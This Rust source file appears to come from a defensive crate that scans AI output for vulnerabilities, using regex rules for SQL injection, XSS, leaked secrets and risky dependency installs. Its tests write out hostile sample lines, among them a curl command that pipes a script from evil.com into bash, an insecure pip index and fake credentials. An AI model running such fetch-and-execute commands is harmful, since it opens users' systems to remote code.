laminae-shadow 0.4.2

Adversarial red-teaming engine for AI output — static analysis, LLM review, sandbox execution
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
use std::borrow::Cow;
use std::sync::LazyLock;

use regex::Regex;
use thiserror::Error;

use crate::extractor::ExtractedBlock;
use crate::report::{AnalysisSource, VulnCategory, VulnFinding, VulnSeverity};
use crate::scanner;

/// Internal error type for individual analyzer stages.
#[derive(Error, Debug)]
pub enum AnalyzerError {
    #[error("Static analysis failed: {0}")]
    Static(String),
    #[error("LLM review failed: {0}")]
    LlmReview(String),
    #[error("Sandbox error: {0}")]
    Sandbox(String),
    #[error("Analyzer disabled or unavailable")]
    Disabled,
}

/// Public error type for the Shadow crate's API surface.
#[derive(Error, Debug)]
pub enum ShadowError {
    #[error("Static analysis failed: {0}")]
    StaticAnalysis(String),
    #[error("LLM review failed: {0}")]
    LlmReview(String),
    #[error("Sandbox execution failed: {0}")]
    Sandbox(String),
    #[error("Configuration error: {0}")]
    Config(String),
    #[error("Shadow engine is disabled")]
    Disabled,
    #[error("Internal error: {0}")]
    Internal(String),
}

impl From<AnalyzerError> for ShadowError {
    fn from(err: AnalyzerError) -> Self {
        match err {
            AnalyzerError::Static(msg) => ShadowError::StaticAnalysis(msg),
            AnalyzerError::LlmReview(msg) => ShadowError::LlmReview(msg),
            AnalyzerError::Sandbox(msg) => ShadowError::Sandbox(msg),
            AnalyzerError::Disabled => ShadowError::Disabled,
        }
    }
}

/// Trait for composable analysis stages.
/// Each implementation is independent, async, and fallible.
///
/// Implement this trait to add custom analysis stages to the Shadow pipeline.
#[allow(async_fn_in_trait)]
pub trait Analyzer: Send + Sync {
    /// Human-readable name for logging.
    fn name(&self) -> &'static str;

    /// Check if this analyzer can run.
    async fn is_available(&self) -> bool;

    /// Analyze output and return findings.
    async fn analyze(
        &self,
        ego_output: &str,
        code_blocks: &[ExtractedBlock],
    ) -> Result<Vec<VulnFinding>, AnalyzerError>;
}

/// Static pattern-based analyzer with vulnerability detection rules.
pub struct StaticAnalyzer {
    extra_rules: Vec<CompiledShadowRule>,
}

/// A user-defined vulnerability detection rule for the static analyzer.
///
/// All string fields accept both `&'static str` (for compile-time rules)
/// and `String` (for rules loaded from config at runtime) via `Cow`.
pub struct ShadowRule {
    /// Unique identifier for the rule.
    pub id: Cow<'static, str>,
    /// Vulnerability category this rule detects.
    pub category: VulnCategory,
    /// Severity level of findings from this rule.
    pub severity: VulnSeverity,
    /// Regex pattern to match against code.
    pub pattern: Cow<'static, str>,
    /// Short title for findings.
    pub title: Cow<'static, str>,
    /// Detailed description of the vulnerability.
    pub description: Cow<'static, str>,
    /// CWE identifier, if applicable.
    pub cwe: Option<u32>,
    /// Suggested remediation.
    pub remediation: Cow<'static, str>,
}

/// Pre-compiled version of ShadowRule, built once via LazyLock.
struct CompiledShadowRule {
    category: VulnCategory,
    severity: VulnSeverity,
    regex: Regex,
    title: Cow<'static, str>,
    description: Cow<'static, str>,
    cwe: Option<u32>,
    remediation: Cow<'static, str>,
}

/// Analyzer for dependency-related vulnerabilities in code output.
///
/// Detects known-vulnerable packages, typosquatting patterns, and
/// dangerous install commands that an LLM might suggest.
pub struct DependencyAnalyzer;

impl DependencyAnalyzer {
    pub fn new() -> Self {
        Self
    }
}

impl Default for DependencyAnalyzer {
    fn default() -> Self {
        Self::new()
    }
}

struct DepRule {
    pattern: &'static str,
    title: &'static str,
    description: &'static str,
    severity: VulnSeverity,
    category: VulnCategory,
    cwe: Option<u32>,
    remediation: &'static str,
}

/// Pre-compiled version of DepRule.
struct CompiledDepRule {
    regex: Regex,
    title: &'static str,
    description: &'static str,
    severity: VulnSeverity,
    category: VulnCategory,
    cwe: Option<u32>,
    remediation: &'static str,
}

const DEP_RULES: &[DepRule] = &[
    DepRule {
        pattern: r#"(pip|pip3)\s+install\s+--index-url\s+http://"#,
        title: "Insecure package index (HTTP)",
        description: "Installing packages from an unencrypted HTTP source enables MITM attacks.",
        severity: VulnSeverity::High,
        category: VulnCategory::DataExfiltration,
        cwe: Some(829),
        remediation: "Always use HTTPS for package indices.",
    },
    DepRule {
        pattern: r#"npm\s+install\s+--ignore-scripts\s+false"#,
        title: "NPM install with scripts enabled explicitly",
        description:
            "Enabling install scripts on untrusted packages risks arbitrary code execution.",
        severity: VulnSeverity::Medium,
        category: VulnCategory::CommandInjection,
        cwe: Some(829),
        remediation: "Audit packages before enabling install scripts.",
    },
    DepRule {
        pattern: r#"(event-stream|ua-parser-js|coa|rc|colors)\b.*\d+\.\d+\.\d+"#,
        title: "Previously compromised NPM package",
        description:
            "This package has a known supply chain attack history. Verify the version is safe.",
        severity: VulnSeverity::High,
        category: VulnCategory::AdversarialLogic,
        cwe: Some(506),
        remediation: "Pin to a verified safe version and audit the package.",
    },
    DepRule {
        pattern: r#"(urllib3|requests|django|flask|lodash|express)\s*[<>=]+\s*[\d.]+.*\b(0\.\d|1\.[0-5]\.)"#,
        title: "Potentially outdated dependency version",
        description: "Very old versions of popular packages often contain known vulnerabilities.",
        severity: VulnSeverity::Medium,
        category: VulnCategory::LogicFlaw,
        cwe: Some(1104),
        remediation: "Update to the latest stable version.",
    },
    DepRule {
        pattern: r#"curl\s+.*\|\s*(sh|bash|python|node)"#,
        title: "Pipe-to-shell installation",
        description: "Downloading and executing scripts in one step bypasses all verification.",
        severity: VulnSeverity::Critical,
        category: VulnCategory::CommandInjection,
        cwe: Some(829),
        remediation: "Download first, verify checksum/signature, then execute.",
    },
    DepRule {
        pattern: r#"(git\+http://|git://)[^\s]+"#,
        title: "Git dependency over unencrypted protocol",
        description: "Git dependencies over HTTP or git:// are vulnerable to MITM.",
        severity: VulnSeverity::Medium,
        category: VulnCategory::DataExfiltration,
        cwe: Some(319),
        remediation: "Use HTTPS or SSH for git dependencies.",
    },
];

impl Analyzer for DependencyAnalyzer {
    fn name(&self) -> &'static str {
        "dependency"
    }
    async fn is_available(&self) -> bool {
        true
    }

    async fn analyze(
        &self,
        ego_output: &str,
        code_blocks: &[ExtractedBlock],
    ) -> Result<Vec<VulnFinding>, AnalyzerError> {
        let mut findings = Vec::new();
        let compiled = &*COMPILED_DEP_RULES;

        let targets: Vec<&str> = std::iter::once(ego_output)
            .chain(code_blocks.iter().map(|b| b.content.as_str()))
            .collect();

        for text in &targets {
            for rule in compiled {
                for mat in rule.regex.find_iter(text) {
                    let line_num = text[..mat.start()].matches('\n').count() + 1;
                    findings.push(VulnFinding {
                        id: generate_finding_id(),
                        category: rule.category,
                        severity: rule.severity,
                        title: rule.title.to_string(),
                        description: rule.description.to_string(),
                        evidence: truncate_evidence(mat.as_str()),
                        line: Some(line_num),
                        cwe: rule.cwe,
                        remediation: rule.remediation.to_string(),
                        source: AnalysisSource::Static,
                    });
                }
            }
        }

        Ok(findings)
    }
}

/// Analyzer for secrets and credentials leaked in AI output.
///
/// Goes beyond simple password detection — catches API keys, tokens,
/// connection strings, and cloud credentials with format-specific patterns.
pub struct SecretsAnalyzer;

impl SecretsAnalyzer {
    pub fn new() -> Self {
        Self
    }
}

impl Default for SecretsAnalyzer {
    fn default() -> Self {
        Self::new()
    }
}

struct SecretRule {
    pattern: &'static str,
    title: &'static str,
    severity: VulnSeverity,
    remediation: &'static str,
}

/// Pre-compiled version of SecretRule.
struct CompiledSecretRule {
    regex: Regex,
    title: &'static str,
    severity: VulnSeverity,
    remediation: &'static str,
}

const SECRET_RULES: &[SecretRule] = &[
    SecretRule {
        pattern: r#"ghp_[0-9a-zA-Z]{36}"#,
        title: "GitHub personal access token",
        severity: VulnSeverity::Critical,
        remediation:
            "Revoke the token at github.com/settings/tokens and use environment variables.",
    },
    SecretRule {
        pattern: r#"sk-[a-zA-Z0-9]{20}T3BlbkFJ[a-zA-Z0-9]{20}"#,
        title: "OpenAI API key",
        severity: VulnSeverity::Critical,
        remediation: "Rotate the key at platform.openai.com/api-keys.",
    },
    SecretRule {
        pattern: r#"sk-ant-api[a-zA-Z0-9_-]{80,}"#,
        title: "Anthropic API key",
        severity: VulnSeverity::Critical,
        remediation: "Rotate the key at console.anthropic.com/settings/keys.",
    },
    SecretRule {
        pattern: r#"xox[bpoas]-[0-9a-zA-Z-]{10,}"#,
        title: "Slack token",
        severity: VulnSeverity::Critical,
        remediation: "Revoke and regenerate the token in your Slack app settings.",
    },
    SecretRule {
        pattern: r#"(mongodb(\+srv)?://)[^\s"']+:[^\s"']+@"#,
        title: "MongoDB connection string with credentials",
        severity: VulnSeverity::Critical,
        remediation: "Use environment variables for database connection strings.",
    },
    SecretRule {
        pattern: r#"(postgres(ql)?|mysql|mssql)://[^\s"']+:[^\s"']+@"#,
        title: "Database connection string with credentials",
        severity: VulnSeverity::Critical,
        remediation: "Use environment variables for database connection strings.",
    },
    SecretRule {
        pattern: r#"(eyJ[a-zA-Z0-9_-]{20,}\.eyJ[a-zA-Z0-9_-]{20,}\.[a-zA-Z0-9_-]{20,})"#,
        title: "JWT token in code",
        severity: VulnSeverity::High,
        remediation: "Never hardcode JWT tokens. Generate them at runtime.",
    },
    SecretRule {
        pattern: r#"SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43}"#,
        title: "SendGrid API key",
        severity: VulnSeverity::Critical,
        remediation: "Revoke and rotate the key in SendGrid dashboard.",
    },
    SecretRule {
        pattern: r#"sk_live_[0-9a-zA-Z]{24,}"#,
        title: "Stripe live secret key",
        severity: VulnSeverity::Critical,
        remediation: "Rotate immediately at dashboard.stripe.com/apikeys.",
    },
    SecretRule {
        pattern: r#"AIza[0-9A-Za-z_-]{35}"#,
        title: "Google API key",
        severity: VulnSeverity::High,
        remediation: "Restrict or rotate the key in Google Cloud Console.",
    },
];

/// Pre-compiled regexes for DEP_RULES. Built once on first access.
static COMPILED_DEP_RULES: LazyLock<Vec<CompiledDepRule>> = LazyLock::new(|| {
    DEP_RULES
        .iter()
        .filter_map(|rule| {
            Regex::new(rule.pattern).ok().map(|regex| CompiledDepRule {
                regex,
                title: rule.title,
                description: rule.description,
                severity: rule.severity,
                category: rule.category,
                cwe: rule.cwe,
                remediation: rule.remediation,
            })
        })
        .collect()
});

/// Pre-compiled regexes for SECRET_RULES. Built once on first access.
static COMPILED_SECRET_RULES: LazyLock<Vec<CompiledSecretRule>> = LazyLock::new(|| {
    SECRET_RULES
        .iter()
        .filter_map(|rule| {
            Regex::new(rule.pattern)
                .ok()
                .map(|regex| CompiledSecretRule {
                    regex,
                    title: rule.title,
                    severity: rule.severity,
                    remediation: rule.remediation,
                })
        })
        .collect()
});

impl Analyzer for SecretsAnalyzer {
    fn name(&self) -> &'static str {
        "secrets"
    }
    async fn is_available(&self) -> bool {
        true
    }

    async fn analyze(
        &self,
        ego_output: &str,
        code_blocks: &[ExtractedBlock],
    ) -> Result<Vec<VulnFinding>, AnalyzerError> {
        let mut findings = Vec::new();
        let compiled = &*COMPILED_SECRET_RULES;

        let targets: Vec<&str> = std::iter::once(ego_output)
            .chain(code_blocks.iter().map(|b| b.content.as_str()))
            .collect();

        for text in &targets {
            for rule in compiled {
                for mat in rule.regex.find_iter(text) {
                    let line_num = text[..mat.start()].matches('\n').count() + 1;
                    // Redact the actual secret in evidence
                    let evidence = redact_secret(mat.as_str());
                    findings.push(VulnFinding {
                        id: generate_finding_id(),
                        category: VulnCategory::HardcodedSecret,
                        severity: rule.severity,
                        title: rule.title.to_string(),
                        description: "Credential or secret found in AI output.".to_string(),
                        evidence,
                        line: Some(line_num),
                        cwe: Some(798),
                        remediation: rule.remediation.to_string(),
                        source: AnalysisSource::Static,
                    });
                }
            }
        }

        Ok(findings)
    }
}

/// Redact the middle of a secret, keeping only prefix for identification.
fn redact_secret(s: &str) -> String {
    if s.len() <= 10 {
        return format!("{}***", &s[..s.len().min(4)]);
    }
    format!("{}***{}", &s[..8], &s[s.len() - 4..])
}

/// Internal rule definition using static strings (for hardcoded rules only).
struct InternalRule {
    _id: &'static str,
    category: VulnCategory,
    severity: VulnSeverity,
    pattern: &'static str,
    title: &'static str,
    description: &'static str,
    cwe: Option<u32>,
    remediation: &'static str,
}

const SHADOW_RULES: &[InternalRule] = &[
    InternalRule {
        _id: "sqli-string-concat",
        category: VulnCategory::SqlInjection,
        severity: VulnSeverity::Critical,
        pattern: r#"(SELECT|INSERT|UPDATE|DELETE|DROP)\s+.*\+\s*(user|input|param|req\.|request\.|args)"#,
        title: "SQL injection via string concatenation",
        description: "SQL query built by concatenating user-controlled input.",
        cwe: Some(89),
        remediation: "Use parameterized queries or an ORM.",
    },
    InternalRule {
        _id: "sqli-format-string",
        category: VulnCategory::SqlInjection,
        severity: VulnSeverity::Critical,
        pattern: r#"(f"|f'|format!\(|\.format\().*(?:SELECT|INSERT|UPDATE|DELETE|DROP)"#,
        title: "SQL injection via format string",
        description:
            "SQL query constructed using format strings with potentially user-controlled values.",
        cwe: Some(89),
        remediation: "Use parameterized queries.",
    },
    InternalRule {
        _id: "hardcoded-password",
        category: VulnCategory::HardcodedSecret,
        severity: VulnSeverity::High,
        pattern: r#"(?i)(password|passwd|secret|api_key|apikey|token|auth)\s*=\s*["'][^"']{8,}["']"#,
        title: "Hardcoded secret or credential",
        description: "A credential appears to be hardcoded in the source.",
        cwe: Some(798),
        remediation: "Use environment variables or a secrets manager.",
    },
    InternalRule {
        _id: "hardcoded-aws-key",
        category: VulnCategory::HardcodedSecret,
        severity: VulnSeverity::Critical,
        pattern: r#"(?:AKIA|ASIA)[0-9A-Z]{16}"#,
        title: "AWS access key ID detected",
        description: "An AWS access key ID pattern was found in the code.",
        cwe: Some(798),
        remediation: "Remove the key, rotate it in AWS IAM, use IAM roles.",
    },
    InternalRule {
        _id: "hardcoded-private-key",
        category: VulnCategory::HardcodedSecret,
        severity: VulnSeverity::Critical,
        pattern: r#"-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----"#,
        title: "Private key embedded in code",
        description: "A private key header was found.",
        cwe: Some(321),
        remediation: "Remove the key, rotate it, store securely.",
    },
    InternalRule {
        _id: "path-traversal-user-input",
        category: VulnCategory::PathTraversal,
        severity: VulnSeverity::High,
        pattern: r#"(open|read|write|Path|PathBuf|fs\.|os\.path)\s*\(.*\.\.\/"#,
        title: "Potential path traversal",
        description: "File operation uses a path containing '../'.",
        cwe: Some(22),
        remediation: "Canonicalize paths and verify they remain within allowed directories.",
    },
    InternalRule {
        _id: "xss-innerhtml",
        category: VulnCategory::XssReflected,
        severity: VulnSeverity::High,
        pattern: r#"(innerHTML|outerHTML|document\.write|v-html|dangerouslySetInnerHTML)\s*="#,
        title: "Potential XSS via unsafe HTML injection",
        description: "Direct HTML injection that may include unsanitized user input.",
        cwe: Some(79),
        remediation: "Use textContent, sanitize HTML with DOMPurify.",
    },
    InternalRule {
        _id: "unsafe-deserialize",
        category: VulnCategory::InsecureDeserialization,
        severity: VulnSeverity::High,
        pattern: r#"(pickle\.loads?|yaml\.load\(|yaml\.unsafe_load|Marshal\.load|unserialize)\s*\("#,
        title: "Insecure deserialization",
        description: "Deserializing untrusted data can lead to RCE.",
        cwe: Some(502),
        remediation: "Use safe deserialization (yaml.safe_load, JSON).",
    },
    InternalRule {
        _id: "weak-hash-md5",
        category: VulnCategory::CryptoWeakness,
        severity: VulnSeverity::Medium,
        pattern: r#"(?i)(md5|sha1)\s*[.(]"#,
        title: "Weak hash algorithm",
        description: "MD5 and SHA-1 are cryptographically broken.",
        cwe: Some(328),
        remediation: "Use SHA-256 or better.",
    },
    InternalRule {
        _id: "infinite-loop-risk",
        category: VulnCategory::ResourceAbuse,
        severity: VulnSeverity::Medium,
        pattern: r#"while\s*\(\s*(true|1|True)\s*\)"#,
        title: "Potential infinite loop",
        description: "Unbounded loop that may consume CPU indefinitely.",
        cwe: Some(835),
        remediation: "Add a maximum iteration count or timeout.",
    },
];

/// Pre-compiled regexes for SHADOW_RULES. Built once on first access.
static COMPILED_SHADOW_RULES: LazyLock<Vec<CompiledShadowRule>> = LazyLock::new(|| {
    SHADOW_RULES
        .iter()
        .filter_map(|rule| {
            Regex::new(rule.pattern)
                .ok()
                .map(|regex| CompiledShadowRule {
                    category: rule.category,
                    severity: rule.severity,
                    regex,
                    title: Cow::Borrowed(rule.title),
                    description: Cow::Borrowed(rule.description),
                    cwe: rule.cwe,
                    remediation: Cow::Borrowed(rule.remediation),
                })
        })
        .collect()
});

impl StaticAnalyzer {
    pub fn new() -> Self {
        Self {
            extra_rules: Vec::new(),
        }
    }

    /// Create a static analyzer with additional custom rules.
    ///
    /// Returns an error if any rule's pattern is an invalid regex.
    pub fn with_extra_rules(rules: Vec<ShadowRule>) -> Result<Self, regex::Error> {
        let mut compiled = Vec::with_capacity(rules.len());
        for rule in rules {
            let regex = Regex::new(&rule.pattern)?;
            compiled.push(CompiledShadowRule {
                category: rule.category,
                severity: rule.severity,
                regex,
                title: rule.title,
                description: rule.description,
                cwe: rule.cwe,
                remediation: rule.remediation,
            });
        }
        Ok(Self {
            extra_rules: compiled,
        })
    }
}

impl Default for StaticAnalyzer {
    fn default() -> Self {
        Self::new()
    }
}

impl Analyzer for StaticAnalyzer {
    fn name(&self) -> &'static str {
        "static"
    }
    async fn is_available(&self) -> bool {
        true
    }

    async fn analyze(
        &self,
        ego_output: &str,
        code_blocks: &[ExtractedBlock],
    ) -> Result<Vec<VulnFinding>, AnalyzerError> {
        let mut findings = Vec::new();

        // Stage 1: Run embedded scanner on each code block
        for block in code_blocks {
            let filename = format!("output.{}", block.language.as_deref().unwrap_or("txt"));
            let scan_findings = scanner::scan_content(&filename, &block.content);

            for sf in scan_findings {
                findings.push(VulnFinding {
                    id: generate_finding_id(),
                    category: map_scanner_category(&sf.rule_id),
                    severity: map_scanner_severity(sf.severity),
                    title: sf.message.clone(),
                    description: sf.message,
                    evidence: sf.evidence,
                    line: Some(sf.line),
                    cwe: None,
                    remediation: "Review and fix the flagged pattern.".to_string(),
                    source: AnalysisSource::Static,
                });
            }
        }

        // Stage 2: Shadow-specific rules on full output + code blocks
        let compiled = &*COMPILED_SHADOW_RULES;
        let targets: Vec<(&str, &str)> = std::iter::once(("output", ego_output))
            .chain(code_blocks.iter().map(|b| {
                let lang = b.language.as_deref().unwrap_or("code");
                (lang, b.content.as_str())
            }))
            .collect();

        let all_rules = compiled.iter().chain(self.extra_rules.iter());

        for (source_name, text) in &targets {
            for rule in all_rules.clone() {
                for mat in rule.regex.find_iter(text) {
                    let line_num = text[..mat.start()].matches('\n').count() + 1;
                    let evidence = truncate_evidence(mat.as_str());

                    findings.push(VulnFinding {
                        id: generate_finding_id(),
                        category: rule.category,
                        severity: rule.severity,
                        title: rule.title.to_string(),
                        description: format!("[{}] {}", source_name, rule.description),
                        evidence,
                        line: Some(line_num),
                        cwe: rule.cwe,
                        remediation: rule.remediation.to_string(),
                        source: AnalysisSource::Static,
                    });
                }
            }
        }

        // Deduplicate (by category + title + evidence to avoid collapsing different rules)
        findings.sort_by(|a, b| {
            a.category
                .to_string()
                .cmp(&b.category.to_string())
                .then(a.title.cmp(&b.title))
                .then(a.evidence.cmp(&b.evidence))
        });
        findings.dedup_by(|a, b| {
            a.category == b.category && a.title == b.title && a.evidence == b.evidence
        });

        Ok(findings)
    }
}

fn map_scanner_severity(sev: scanner::Severity) -> VulnSeverity {
    match sev {
        scanner::Severity::Info => VulnSeverity::Low,
        scanner::Severity::Warn => VulnSeverity::Medium,
        scanner::Severity::Critical => VulnSeverity::High,
    }
}

fn map_scanner_category(rule_id: &str) -> VulnCategory {
    if rule_id.contains("eval") || rule_id.contains("exec") || rule_id.contains("spawn") {
        VulnCategory::CommandInjection
    } else if rule_id.contains("keychain")
        || rule_id.contains("ssh")
        || rule_id.contains("password")
    {
        VulnCategory::HardcodedSecret
    } else if rule_id.contains("reverse-shell") || rule_id.contains("crypto-mining") {
        VulnCategory::DataExfiltration
    } else if rule_id.contains("sudo") || rule_id.contains("chmod") {
        VulnCategory::PrivilegeEscalation
    } else if rule_id.contains("curl") || rule_id.contains("webhook") || rule_id.contains("dns") {
        VulnCategory::DataExfiltration
    } else if rule_id.contains("base64") || rule_id.contains("hex") || rule_id.contains("char-code")
    {
        VulnCategory::CommandInjection
    } else {
        VulnCategory::Unknown
    }
}

fn truncate_evidence(s: &str) -> String {
    let trimmed = s.trim();
    if trimmed.len() > 150 {
        format!("{}...", &trimmed[..150])
    } else {
        trimmed.to_string()
    }
}

/// Generate a unique finding ID using timestamp + atomic counter.
fn generate_finding_id() -> String {
    use std::sync::atomic::{AtomicU64, Ordering};
    static COUNTER: AtomicU64 = AtomicU64::new(0);
    let ts = std::time::SystemTime::now()
        .duration_since(std::time::UNIX_EPOCH)
        .unwrap_or_default()
        .as_nanos();
    let count = COUNTER.fetch_add(1, Ordering::Relaxed);
    format!("shd-{:x}-{:04x}", ts, count)
}

#[cfg(test)]
mod tests {
    use super::*;

    fn make_block(lang: &str, content: &str) -> ExtractedBlock {
        ExtractedBlock {
            language: Some(lang.to_string()),
            content: content.to_string(),
            char_offset: 0,
        }
    }

    #[tokio::test]
    async fn test_detects_sql_injection() {
        let analyzer = StaticAnalyzer::new();
        let blocks = vec![make_block(
            "python",
            r#"query = "SELECT * FROM users WHERE id = " + user_input"#,
        )];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings
            .iter()
            .any(|f| f.category == VulnCategory::SqlInjection));
    }

    #[tokio::test]
    async fn test_detects_hardcoded_password() {
        let analyzer = StaticAnalyzer::new();
        let blocks = vec![make_block(
            "python",
            r#"password = "supersecretpassword123""#,
        )];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings
            .iter()
            .any(|f| f.category == VulnCategory::HardcodedSecret));
    }

    #[tokio::test]
    async fn test_clean_code() {
        let analyzer = StaticAnalyzer::new();
        let blocks = vec![make_block(
            "rust",
            "fn greet() -> String { \"hello\".to_string() }",
        )];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings.is_empty());
    }

    #[tokio::test]
    async fn test_detects_xss() {
        let analyzer = StaticAnalyzer::new();
        let blocks = vec![make_block("js", "element.innerHTML = userInput;")];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings
            .iter()
            .any(|f| f.category == VulnCategory::XssReflected));
    }

    #[tokio::test]
    async fn test_detects_eval_via_scanner() {
        let analyzer = StaticAnalyzer::new();
        let blocks = vec![make_block("js", "eval(userInput);")];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(!findings.is_empty());
    }

    // ── DependencyAnalyzer tests ──

    #[tokio::test]
    async fn test_dep_detects_pipe_to_shell() {
        let analyzer = DependencyAnalyzer::new();
        let blocks = vec![make_block("sh", "curl https://evil.com/setup.sh | bash")];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings.iter().any(|f| f.title.contains("Pipe-to-shell")));
    }

    #[tokio::test]
    async fn test_dep_detects_insecure_index() {
        let analyzer = DependencyAnalyzer::new();
        let blocks = vec![make_block(
            "sh",
            "pip install --index-url http://evil.com/simple package",
        )];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings
            .iter()
            .any(|f| f.title.contains("Insecure package index")));
    }

    #[tokio::test]
    async fn test_dep_clean() {
        let analyzer = DependencyAnalyzer::new();
        let blocks = vec![make_block("sh", "pip install requests")];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings.is_empty());
    }

    // ── SecretsAnalyzer tests ──

    #[tokio::test]
    async fn test_secrets_detects_github_token() {
        let analyzer = SecretsAnalyzer::new();
        let blocks = vec![make_block(
            "py",
            "token = \"ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef1234\"",
        )];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings.iter().any(|f| f.title.contains("GitHub")));
        // Verify the token is redacted in evidence
        assert!(findings[0].evidence.contains("***"));
    }

    #[tokio::test]
    async fn test_secrets_detects_stripe_key() {
        let analyzer = SecretsAnalyzer::new();
        // Build the test key dynamically to avoid triggering GitHub push protection
        let key = format!("sk_live_{}", "5".repeat(24));
        let code = format!("const key = \"{key}\"");
        let blocks = vec![make_block("js", &code)];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings.iter().any(|f| f.title.contains("Stripe")));
    }

    #[tokio::test]
    async fn test_secrets_detects_db_connection() {
        let analyzer = SecretsAnalyzer::new();
        let blocks = vec![make_block(
            "py",
            "db = \"postgresql://admin:password123@prod.db.com:5432/main\"",
        )];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings
            .iter()
            .any(|f| f.title.contains("Database connection")));
    }

    #[tokio::test]
    async fn test_secrets_clean() {
        let analyzer = SecretsAnalyzer::new();
        let blocks = vec![make_block("py", "x = os.environ['API_KEY']")];
        let findings = analyzer.analyze("", &blocks).await.unwrap();
        assert!(findings.is_empty());
    }

    #[test]
    fn test_redact_secret() {
        assert_eq!(
            redact_secret("ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZab"),
            "ghp_ABCD***YZab"
        );
        assert_eq!(redact_secret("short"), "shor***");
    }
}